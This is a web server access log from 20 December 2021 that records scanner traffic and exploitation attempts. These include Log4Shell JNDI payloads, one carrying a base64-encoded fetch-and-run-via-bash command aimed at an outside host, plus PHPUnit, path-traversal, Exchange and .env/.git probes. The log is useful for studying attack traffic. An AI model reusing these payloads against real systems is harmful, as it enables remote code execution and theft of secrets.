[20/Dec/2021:01:14:55 +0100] 92.118.160.41 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 394
[20/Dec/2021:01:44:01 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 331
[20/Dec/2021:02:27:39 +0100] 128.1.248.26 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301
[20/Dec/2021:02:27:46 +0100] 128.1.248.26 TLSv1.2 DHE-RSA-AES256-SHA256 "GET /webfig/ HTTP/1.1" 307
[20/Dec/2021:02:44:46 +0100] 170.210.45.163 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 428
[20/Dec/2021:02:44:47 +0100] 170.210.45.163 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383
[20/Dec/2021:02:44:47 +0100] 170.210.45.163 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /?v=${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 431
[20/Dec/2021:02:44:48 +0100] 170.210.45.163 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /?id=${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 432
[20/Dec/2021:02:44:49 +0100] 170.210.45.163 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /?page=${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 434
[20/Dec/2021:02:44:50 +0100] 170.210.45.163 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /?s=${jndi:ldap://5.101.118.127:1389/Exploit} HTTP/1.1" 431
[20/Dec/2021:02:44:51 +0100] 170.210.45.163 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /login HTTP/1.1" 388
[20/Dec/2021:02:44:51 +0100] 170.210.45.163 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383
[20/Dec/2021:02:44:52 +0100] 170.210.45.163 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383
[20/Dec/2021:02:44:53 +0100] 170.210.45.163 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383
[20/Dec/2021:02:44:54 +0100] 170.210.45.163 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383
[20/Dec/2021:03:23:24 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 331
[20/Dec/2021:03:36:49 +0100] 92.118.160.57 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 391
[20/Dec/2021:04:54:19 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 327
[20/Dec/2021:04:57:16 +0100] 131.220.6.152 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 295
[20/Dec/2021:05:46:52 +0100] 192.35.168.80 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301
[20/Dec/2021:06:05:27 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /mifs/.;/services/LogService HTTP/1.1" 318
[20/Dec/2021:06:11:52 +0100] 195.54.160.149 - - "-" -
[20/Dec/2021:06:21:38 +0100] 89.248.165.52 - - "-" -
[20/Dec/2021:06:37:02 +0100] 45.72.48.130 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301
[20/Dec/2021:06:38:54 +0100] 193.106.29.210 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301
[20/Dec/2021:07:02:58 +0100] 109.237.103.123 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /.env HTTP/1.1" 304
[20/Dec/2021:07:02:59 +0100] 109.237.103.123 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /.env HTTP/1.1" 304
[20/Dec/2021:07:11:06 +0100] 192.241.214.81 TLSv1.2 AES256-SHA "GET /actuator/health HTTP/1.1" 310
[20/Dec/2021:07:12:46 +0100] 40.77.167.42 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 304
[20/Dec/2021:07:17:54 +0100] 183.136.225.9 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 383
[20/Dec/2021:07:18:06 +0100] 183.136.225.9 TLSv1.2 AES256-SHA "GET /robots.txt HTTP/1.1" 308
[20/Dec/2021:07:47:15 +0100] 128.14.134.170 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301
[20/Dec/2021:08:22:47 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /_ignition/execute-solution HTTP/1.1" 319
[20/Dec/2021:08:33:25 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301
[20/Dec/2021:09:00:13 +0100] 192.241.212.171 TLSv1.2 AES256-SHA "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 348
[20/Dec/2021:09:09:43 +0100] 192.241.213.182 TLSv1.2 AES256-SHA "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 335
[20/Dec/2021:09:13:43 +0100] 92.118.160.1 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 393
[20/Dec/2021:10:20:42 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 293
[20/Dec/2021:10:30:37 +0100] 89.248.173.131 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /remote/login?lang=en HTTP/1.1" 315
[20/Dec/2021:10:57:52 +0100] 23.251.102.74 TLSv1.2 DHE-RSA-AES256-SHA256 "GET /solr/ HTTP/1.1" 304
[20/Dec/2021:11:11:06 +0100] 89.248.165.52 - - "-" -
[20/Dec/2021:11:47:42 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0M3x8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC84Ni41OS4xMTMuMTAyOjQ0Myl8YmFzaA==} HTTP/1.1" 435
[20/Dec/2021:12:17:12 +0100] 198.199.95.200 TLSv1.2 AES256-SHA "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 348
[20/Dec/2021:12:20:13 +0100] 192.241.213.113 TLSv1.2 AES256-SHA "GET /owa/auth/logon.aspx HTTP/1.1" 314
[20/Dec/2021:12:20:56 +0100] 192.241.213.120 TLSv1.2 AES256-SHA "GET /owa/auth/x.js HTTP/1.1" 310
[20/Dec/2021:12:22:45 +0100] 185.220.100.241 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301
[20/Dec/2021:12:22:50 +0100] 209.141.58.146 TLSv1.2 AES256-SHA "GET /favicon.ico HTTP/1.1" 309
[20/Dec/2021:12:42:52 +0100] 130.211.54.158 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 301
[20/Dec/2021:12:46:55 +0100] 161.35.246.138 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /noshop HTTP/1.1" 397
[20/Dec/2021:12:46:55 +0100] 150.143.163.115 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /noshop HTTP/1.1" 397
[20/Dec/2021:12:46:56 +0100] 212.102.57.141 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /noshop HTTP/1.1" 397
[20/Dec/2021:12:46:56 +0100] 161.35.246.138 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /login?required=true HTTP/1.1" 410
[20/Dec/2021:12:46:56 +0100] 212.102.57.141 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /login?required=true HTTP/1.1" 410
[20/Dec/2021:12:46:56 +0100] 150.143.163.115 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /login?required=true HTTP/1.1" 410
[20/Dec/2021:12:46:57 +0100] 13.246.24.21 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /login?required=true HTTP/1.1" 410
[20/Dec/2021:12:47:00 +0100] 13.246.24.21 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /noshop HTTP/1.1" 397
[20/Dec/2021:12:47:03 +0100] 172.255.125.170 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /login?required=true HTTP/1.1" 410
[20/Dec/2021:14:25:37 +0100] 192.241.209.153 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 301
[20/Dec/2021:16:22:09 +0100] 109.237.103.38 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /.env HTTP/1.1" 304
[20/Dec/2021:16:22:10 +0100] 109.237.103.38 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /.env HTTP/1.1" 304
[20/Dec/2021:17:42:10 +0100] 162.221.192.26 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301
[20/Dec/2021:19:15:07 +0100] 128.14.134.134 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301
[20/Dec/2021:19:17:51 +0100] 139.162.145.250 TLSv1.2 AES256-SHA "GET /bag2 HTTP/1.1" 304
[20/Dec/2021:20:08:39 +0100] 109.237.103.118 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /.git/config HTTP/1.1" 310
[20/Dec/2021:20:08:40 +0100] 109.237.103.118 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "POST /.git/config HTTP/1.1" 310
[20/Dec/2021:20:55:34 +0100] 27.124.5.126 TLSv1.2 AES256-SHA "GET / HTTP/1.1" 383
[20/Dec/2021:20:55:38 +0100] 27.124.5.126 TLSv1.2 AES256-SHA "GET /favicon.ico HTTP/1.1" 309
[20/Dec/2021:20:55:51 +0100] 27.124.5.126 TLSv1.2 AES256-SHA "GET /robots.txt HTTP/1.1" 308
[20/Dec/2021:20:56:05 +0100] 27.124.5.126 TLSv1.2 AES256-SHA "GET /sitemap.xml HTTP/1.1" 309
[20/Dec/2021:21:47:14 +0100] 207.46.13.233 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /robots.txt HTTP/1.1" 311
[20/Dec/2021:21:47:16 +0100] 207.46.13.233 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET /robots.txt HTTP/1.1" 311
[20/Dec/2021:21:47:18 +0100] 40.77.167.42 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 304
[20/Dec/2021:22:00:41 +0100] 34.96.130.1 TLSv1.2 DHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 391
[20/Dec/2021:22:25:11 +0100] 23.90.160.114 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301
[20/Dec/2021:22:34:51 +0100] 195.54.160.149 TLSv1.2 AES256-SHA "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 331
[20/Dec/2021:23:45:06 +0100] 128.14.134.134 TLSv1.2 DHE-RSA-AES256-SHA256 "GET / HTTP/1.1" 301